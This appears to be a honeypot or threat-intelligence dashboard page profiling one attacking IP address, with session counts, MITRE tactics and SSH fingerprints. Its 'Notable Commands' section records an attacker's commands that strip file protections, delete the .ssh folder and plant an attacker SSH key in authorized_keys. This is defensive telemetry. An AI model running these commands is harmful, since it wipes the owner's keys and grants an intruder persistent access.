← Back to feed
41.193.100.133
Location
🇿🇦 ZA / Johannesburg
ASN
AS11845 · Vox Telecom Ltd
Cloud Provider
—
Total Events
67
Above average by volume
Agent Count
1
First / Last Seen
2026-08-01 17:18 — 2026-08-01 21:15
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
15 (2 with login)
Avg Depth Score
0.24
Commands Executed
3
Files Downloaded
1
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
0ecd7a7f5e8f
15%
Loading events...
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
57129891b71f
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
3d6123fc0c6c
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
b160e21d33e8
15%
Loading events...
SSH-2.0-libssh_0.11.1
Scanner
bb44abd175be
15%
Loading events...
SSH-2.0-libssh_0.11.1
Scanner
261532f81df0
15%
Loading events...
SSH-2.0-libssh_0.11.1
Scanner
7bec96ed0be9
15%
Loading events...
SSH-2.0-libssh_0.11.1
Scanner
99fac7a2ece4
15%
Loading events...
SSH-2.0-libssh_0.11.1
Scanner
1acae35b3dfe
15%
Loading events...
SSH-2.0-libssh_0.11.1